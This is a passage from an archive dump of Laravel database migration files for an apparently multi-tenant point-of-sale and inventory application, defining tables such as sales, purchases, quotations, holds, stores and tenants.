$table->dropForeign(['tenant_id']); $table->dropColumn('tenant_id'); } }); Schema::table('sales', function (Blueprint $table) { if (Schema::hasColumn('sales', 'tenant_id')) { $table->dropForeign(['tenant_id']); $table->dropColumn('tenant_id'); } }); } }; migrations/2022_03_01_045721_add_display_name_into_permissions_and_roles.php 0000644 00000001600 15213354165 0022513 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('permissions', function (Blueprint $table) { $table->string('display_name')->nullable()->after('name'); }); Schema::table('roles', function (Blueprint $table) { $table->string('display_name')->nullable()->after('name'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('permissions', function (Blueprint $table) { $table->dropColumn('display_name'); }); Schema::table('roles', function (Blueprint $table) { $table->dropColumn('display_name'); }); } }; migrations/2025_04_01_130747_create_features_table.php 0000644 00000001237 15213354165 0016051 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('features', function (Blueprint $table) { $table->id(); $table->string('title'); $table->text('description')->nullable(); $table->json('points')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('features'); } }; migrations/2022_03_08_055549_creat_sale_items_table.php 0000644 00000003015 15213354165 0016220 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('sale_items', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('sale_id'); $table->foreign('sale_id') ->references('id')->on('sales') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('product_id'); $table->foreign('product_id')->references('id') ->on('products') ->onDelete('cascade') ->onUpdate('cascade'); $table->double('product_price')->nullable(); $table->double('net_unit_price')->nullable(); $table->integer('tax_type'); $table->double('tax_value')->nullable(); $table->double('tax_amount')->nullable(); $table->integer('discount_type'); $table->double('discount_value')->nullable(); $table->double('discount_amount')->nullable(); $table->integer('sale_unit'); $table->double('quantity')->nullable(); $table->double('sub_total')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('sale_items'); } }; migrations/2022_03_15_122143_add_column_barcode_symbol_products_table.php 0000644 00000001166 15213354165 0021775 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('products', function (Blueprint $table) { $table->integer('barcode_symbol')->default(1)->after('code'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('products', function (Blueprint $table) { $table->dropColumn('barcode_symbol'); }); } }; migrations/2022_03_05_045741_create_suppliers_table.php 0000644 00000001723 15213354165 0016260 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('suppliers', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->string('name'); $table->string('email'); $table->string('phone'); $table->string('country'); $table->string('city'); $table->text('address'); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('suppliers'); } }; migrations/2025_01_09_073625_add_tenant_id_field_on_users_table.php 0000644 00000001442 15213354165 0020551 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('users', function (Blueprint $table) { $table->string('tenant_id')->nullable()->after('password'); $table->foreign('tenant_id') ->references('id') ->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('users', function (Blueprint $table) { $table->dropColumn('tenant_id'); }); } }; migrations/2025_08_25_101815_add_new_column_discount_type_to_hold.php 0000644 00000001367 15213354165 0021210 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('holds', function (Blueprint $table) { $table->integer('discount_type')->default(2)->after('discount'); $table->integer('discount_value')->default(0)->after('discount_type'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('holds', function (Blueprint $table) { $table->dropColumn('discount_type'); $table->dropColumn('discount_value'); }); } }; migrations/2023_01_09_103904_add_is_default_to_base_units_table.php 0000644 00000001127 15213354165 0020551 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('base_units', function (Blueprint $table) { $table->boolean('is_default')->after('name')->default(false); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('base_units', function (Blueprint $table) { // }); } }; migrations/2022_10_15_044226_add_sale_id_to_sales_return_table.php 0000644 00000001437 15213354165 0020405 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('sales_return', function (Blueprint $table) { $table->unsignedBigInteger('sale_id')->nullable()->after('date'); $table->foreign('sale_id') ->references('id')->on('sales') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('sales_return', function (Blueprint $table) { $table->dropColumn('sale_id'); }); } }; migrations/2022_09_15_053604_create_quotation_items_table.php 0000644 00000003046 15213354165 0017462 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('quotation_items', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('quotation_id'); $table->foreign('quotation_id') ->references('id')->on('quotations') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('product_id'); $table->foreign('product_id')->references('id') ->on('products') ->onDelete('cascade') ->onUpdate('cascade'); $table->double('product_price')->nullable(); $table->double('net_unit_price')->nullable(); $table->integer('tax_type'); $table->double('tax_value')->nullable(); $table->double('tax_amount')->nullable(); $table->integer('discount_type'); $table->double('discount_value')->nullable(); $table->double('discount_amount')->nullable(); $table->integer('sale_unit'); $table->double('quantity')->nullable(); $table->double('sub_total')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('quotation_items'); } }; migrations/2014_10_12_100000_create_password_resets_table.php 0000644 00000001163 15213354165 0017430 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('password_resets', function (Blueprint $table) { $table->string('email')->index(); $table->string('token'); $table->timestamp('created_at')->nullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('password_resets'); } }; migrations/2022_03_15_072023_create_purchase_items_table.php 0000644 00000003043 15213354165 0017234 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('purchase_items', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('purchase_id'); $table->foreign('purchase_id') ->references('id')->on('purchases') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('product_id'); $table->foreign('product_id')->references('id') ->on('products') ->onDelete('cascade') ->onUpdate('cascade'); $table->double('product_cost')->nullable(); $table->double('net_unit_cost')->nullable(); $table->integer('tax_type'); $table->double('tax_value')->nullable(); $table->double('tax_amount')->nullable(); $table->integer('discount_type'); $table->double('discount_value')->nullable(); $table->double('discount_amount')->nullable(); $table->integer('purchase_unit'); $table->double('quantity')->nullable(); $table->double('sub_total')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('purchase_items'); } }; migrations/2025_02_27_110353_add_is_paid_to_subscriptions_table.php 0000644 00000001170 15213354165 0020612 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('subscriptions', function (Blueprint $table) { $table->boolean('is_paid')->default(false)->after('status'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('subscriptions', function (Blueprint $table) { $table->dropColumn('is_paid'); }); } }; migrations/2019_09_15_000010_create_tenants_table.php 0000644 00000001332 15213354165 0015673 0 ustar 00 <?php declare(strict_types=1); use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateTenantsTable extends Migration { /** * Run the migrations. * * @return void */ public function up(): void { Schema::create('tenants', function (Blueprint $table) { $table->string('id')->primary(); $table->string('email')->unique(); $table->timestamps(); $table->json('data')->nullable(); }); } /** * Reverse the migrations. * * @return void */ public function down(): void { Schema::dropIfExists('tenants'); } } migrations/2014_10_12_000000_create_users_table.php 0000644 00000001357 15213354165 0015346 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('users', function (Blueprint $table) { $table->id(); $table->string('name'); $table->string('email')->unique(); $table->timestamp('email_verified_at')->nullable(); $table->string('password'); $table->rememberToken(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('users'); } }; migrations/2022_11_29_070305_create_base_units_table.php 0000644 00000001433 15213354165 0016363 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('base_units', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->string('name'); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('base_units'); } }; migrations/2022_08_29_093912_create_transfers_table.php 0000644 00000003227 15213354165 0016260 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('transfers', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->date('date'); $table->unsignedBigInteger('from_warehouse_id'); $table->foreign('from_warehouse_id')->references('id') ->on('warehouses') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('to_warehouse_id'); $table->foreign('to_warehouse_id')->references('id') ->on('warehouses') ->onUpdate('cascade') ->onDelete('cascade'); $table->double('tax_rate')->nullable(); $table->double('tax_amount')->nullable(); $table->double('discount')->nullable(); $table->double('shipping')->nullable(); $table->double('grand_total')->nullable(); $table->integer('status')->nullable(); $table->text('note')->nullable(); $table->string('reference_code')->nullable(); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('transfers'); } }; migrations/2023_12_21_090730_add_variation_products_table.php 0000644 00000002015 15213354165 0017426 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('variation_products', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('product_id'); $table->unsignedBigInteger('variation_id'); $table->unsignedBigInteger('variation_type_id'); $table->timestamps(); $table->foreign('product_id')->references('id')->on('products')->onDelete('cascade'); $table->foreign('variation_id')->references('id')->on('variations')->onDelete('cascade'); $table->foreign('variation_type_id')->references('id')->on('variation_types')->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('variation_products'); } }; migrations/2025_03_05_055706_add_user_id_in_transactions_table.php 0000644 00000001437 15213354165 0020436 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('transactions', function (Blueprint $table) { $table->unsignedBigInteger('user_id')->nullable()->after('tenant_id'); $table->foreign('user_id')->references('id')->on('users')->onDelete('cascade')->onUpdate('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('transactions', function (Blueprint $table) { $table->dropForeign(['user_id']); $table->dropColumn('user_id'); }); } }; migrations/2022_09_15_052207_create_quotations_table.php 0000644 00000003370 15213354165 0016442 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('quotations', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->date('date'); $table->unsignedBigInteger('customer_id'); $table->foreign('customer_id')->references('id') ->on('customers') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('warehouse_id'); $table->foreign('warehouse_id')->references('id') ->on('warehouses') ->onUpdate('cascade') ->onDelete('cascade'); $table->double('tax_rate')->nullable(); $table->double('tax_amount')->nullable(); $table->double('discount')->nullable(); $table->double('shipping')->nullable(); $table->double('grand_total')->nullable(); $table->double('received_amount')->nullable(); $table->double('paid_amount')->nullable(); $table->integer('status')->nullable(); $table->text('note')->nullable(); $table->string('reference_code')->nullable(); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('quotations'); } }; migrations/2025_04_23_085516_add_payment_status_to_purchases_table.php 0000644 00000001200 15213354165 0021354 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('purchases', function (Blueprint $table) { $table->integer('payment_status')->nullable()->after('payment_type'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('purchases', function (Blueprint $table) { $table->dropColumn('payment_status'); }); } }; migrations/2023_11_21_123338_create_variation_types_table.php 0000644 00000001345 15213354165 0017447 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('variation_types', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('variation_id'); $table->foreign('variation_id')->references('id')->on('variations')->onDelete('cascade'); $table->string('name'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('variation_types'); } }; migrations/2025_03_10_094242_create_business_information_table.php 0000644 00000001207 15213354165 0020466 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('business_information', function (Blueprint $table) { $table->id(); $table->string('title'); $table->text('description')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('business_information'); } }; migrations/2022_03_05_064104_add_columns_in_users_table.php 0000644 00000001741 15213354165 0017100 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('users', function (Blueprint $table) { $table->renameColumn('name', 'first_name'); $table->string('last_name')->nullable()->after('name'); $table->string('phone')->nullable()->after('email'); $table->string('region')->nullable()->after('phone'); $table->boolean('status')->default(true); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('users', function (Blueprint $table) { $table->renameColumn('first_name', 'name'); $table->dropColumn('last_name'); $table->dropColumn('phone'); $table->dropColumn('status'); }); } }; migrations/2025_08_29_054502_add_notes_to_subscriptions_table.php 0000644 00000001153 15213354165 0020346 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('subscriptions', function (Blueprint $table) { $table->text('notes')->nullable()->after('data'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('subscriptions', function (Blueprint $table) { $table->dropColumn('notes'); }); } }; migrations/2022_03_02_071803_create_units_table.php 0000644 00000001555 15213354165 0015372 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('units', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->string('name'); $table->string('short_name'); $table->enum('base_unit', [1, 2, 3]); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('units'); } }; migrations/2022_07_29_085151_create_sales_payments_table.php 0000644 00000001615 15213354165 0017272 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('sales_payments', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('sale_id'); $table->foreign('sale_id') ->references('id')->on('sales') ->onUpdate('cascade') ->onDelete('cascade'); $table->date('payment_date'); $table->integer('payment_type')->nullable(); $table->double('amount')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('sales_payments'); } }; migrations/2022_10_08_074912_add_status_to_sms_templates_table.php 0000644 00000001106 15213354165 0020502 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('sms_templates', function (Blueprint $table) { $table->boolean('status')->default(0); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('sms_templates', function (Blueprint $table) { // }); } }; migrations/2025_04_09_120119_rename_email_to_store_id_in_tenants_table.php 0000644 00000001146 15213354165 0022141 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('tenants', function (Blueprint $table) { $table->renameColumn('email', 'store_id'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('tenants', function (Blueprint $table) { $table->renameColumn('store_id', 'email'); }); } }; migrations/2023_12_22_064744_create_main_products_table.php 0000644 00000001717 15213354165 0017110 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('main_products', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->string('name'); $table->string('code'); $table->string('product_unit')->nullable(); $table->tinyInteger('product_type')->comment('1=Single, 2=Variable'); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('main_products'); } }; migrations/2023_06_16_115153_add_new_field_into_sales_table.php 0000644 00000001231 15213354165 0017666 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('sales', function (Blueprint $table) { $table->unsignedBigInteger('user_id')->nullable(); $table->foreign('user_id') ->references('id')->on('users') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { // } }; migrations/2025_02_28_101103_add_tenant_id_to_roles_table.php 0000644 00000001436 15213354165 0017363 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('roles', function (Blueprint $table) { $table->string('tenant_id')->nullable()->after('name'); $table->foreign('tenant_id') ->references('id') ->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('roles', function (Blueprint $table) { $table->dropColumn('tenant_id'); }); } }; migrations/2022_09_27_115534_add_new_field_in_quotations.php 0000644 00000001332 15213354165 0017264 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('sales', function (Blueprint $table) { $table->dropColumn('is_sale_created'); }); Schema::table('quotations', function (Blueprint $table) { $table->boolean('is_sale_created')->default(false)->after('status'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('quotations', function (Blueprint $table) { // }); } }; migrations/2025_04_09_062858_create_stores_table.php 0000644 00000002040 15213354165 0015562 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('stores', function (Blueprint $table) { $table->id(); $table->string('name'); $table->string('tenant_id')->nullable(); $table->unsignedBigInteger('user_id'); $table->boolean('status')->default(true); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); $table->foreign('user_id') ->references('id')->on('users') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('stores'); } }; migrations/2022_11_08_050601_create_holds_table.php 0000644 00000003020 15213354165 0015324 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('holds', function (Blueprint $table) { $table->id(); $table->string('reference_code')->nullable(); $table->date('date'); $table->unsignedBigInteger('customer_id'); $table->foreign('customer_id')->references('id') ->on('customers') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('warehouse_id'); $table->foreign('warehouse_id')->references('id') ->on('warehouses') ->onUpdate('cascade') ->onDelete('cascade'); $table->double('tax_rate')->nullable(); $table->double('tax_amount')->nullable(); $table->double('discount')->nullable(); $table->double('shipping')->nullable(); $table->double('grand_total')->nullable(); $table->double('received_amount')->nullable(); $table->double('paid_amount')->nullable(); $table->integer('status')->nullable(); $table->text('note')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('holds'); } }; migrations/2025_03_10_113808_create_faqs_table.php 0000644 00000001147 15213354165 0015163 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('faqs', function (Blueprint $table) { $table->id(); $table->string('title'); $table->text('description')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('faqs'); } }; migrations/2022_05_20_093240_add_new_field_to_sales_table.php 0000644 00000001161 15213354165 0017334 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('sales', function (Blueprint $table) { $table->integer('status')->nullable(); $table->integer('payment_status')->nullable(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('sales', function (Blueprint $table) { // }); } }; migrations/2022_09_10_075820_create_mail_templates_table.php 0000644 00000001567 15213354165 0017243 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('mail_templates', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->text('template_name'); $table->longText('content'); $table->string('type'); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('mail_templates'); } }; migrations/2022_05_23_061225_create_sales_return_table.php 0000644 00000003034 15213354165 0016732 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('sales_return', function (Blueprint $table) { $table->id(); $table->date('date'); $table->unsignedBigInteger('customer_id'); $table->foreign('customer_id')->references('id') ->on('customers') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('warehouse_id'); $table->foreign('warehouse_id')->references('id') ->on('warehouses') ->onUpdate('cascade') ->onDelete('cascade'); $table->double('tax_rate')->nullable(); $table->double('tax_amount')->nullable(); $table->double('discount')->nullable(); $table->double('shipping')->nullable(); $table->double('grand_total')->nullable(); $table->double('paid_amount')->nullable(); $table->integer('payment_type')->nullable(); $table->text('note')->nullable(); $table->string('reference_code')->nullable(); $table->integer('status')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('sales_return'); } }; migrations/2022_08_05_105849_create_adjustments_table.php 0000644 00000002166 15213354165 0016610 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('adjustments', function (Blueprint $table) { $table->id(); $table->string('tenant_id')->nullable(); $table->date('date'); $table->string('reference_code')->nullable(); $table->unsignedBigInteger('warehouse_id'); $table->integer('total_products')->nullable(); $table->foreign('warehouse_id')->references('id') ->on('warehouses') ->onUpdate('cascade') ->onDelete('cascade'); $table->timestamps(); $table->foreign('tenant_id') ->references('id')->on('tenants') ->onUpdate('cascade') ->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('adjustments'); } }; migrations/2022_10_08_074726_add_status_to_mail_templates_table.php 0000644 00000001110 15213354165 0020620 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('mail_templates', function (Blueprint $table) { $table->boolean('status')->default(0); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('mail_templates', function (Blueprint $table) { // }); } }; migrations/2023_12_22_065109_add_main_product_id_field_in_variation_products_table.php 0000644 00000001467 15213354165 0024514 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('variation_products', function (Blueprint $table) { $table->unsignedBigInteger('main_product_id')->nullable()->after('id'); $table->foreign('main_product_id')->references('id')->on('main_products')->onDelete('cascade'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('variation_products', function (Blueprint $table) { $table->dropForeign(['main_product_id']); $table->dropColumn('main_product_id'); }); } }; migrations/2025_03_21_094029_add_new_setting_value_in_settings_table.php 0000644 00000001014 15213354165 0021644 0 ustar 00 <?php use App\Models\Setting; use Illuminate\Database\Migrations\Migration; return new class extends Migration { /** * Run the migrations. */ public function up(): void { $setting = new Setting(); $setting->key = 'add_stock_while_product_creation'; $setting->value = '1'; $setting->save(); } /** * Reverse the migrations. */ public function down(): void { Setting::where('key', 'add_stock_while_product_creation')->delete(); } }; migrations/2022_11_08_051309_create_hold_items_table.php 0000644 00000003015 15213354165 0016354 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::create('hold_items', function (Blueprint $table) { $table->id(); $table->unsignedBigInteger('hold_id'); $table->foreign('hold_id') ->references('id')->on('holds') ->onUpdate('cascade') ->onDelete('cascade'); $table->unsignedBigInteger('product_id'); $table->foreign('product_id')->references('id') ->on('products') ->onDelete('cascade') ->onUpdate('cascade'); $table->double('product_price')->nullable(); $table->double('net_unit_price')->nullable(); $table->integer('tax_type'); $table->double('tax_value')->nullable(); $table->double('tax_amount')->nullable(); $table->integer('discount_type'); $table->double('discount_value')->nullable(); $table->double('discount_amount')->nullable(); $table->integer('sale_unit'); $table->double('quantity')->nullable(); $table->double('sub_total')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('hold_items'); } }; migrations/2025_07_18_050720_add_new_column_add_user_id_to_expenses_table.php 0000644 00000001511 15213354165 0022622 0 ustar 00 <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; return new class extends Migration { /** * Run the migrations. */ public function up(): void { Schema::table('expenses', function (Blueprint $table) { 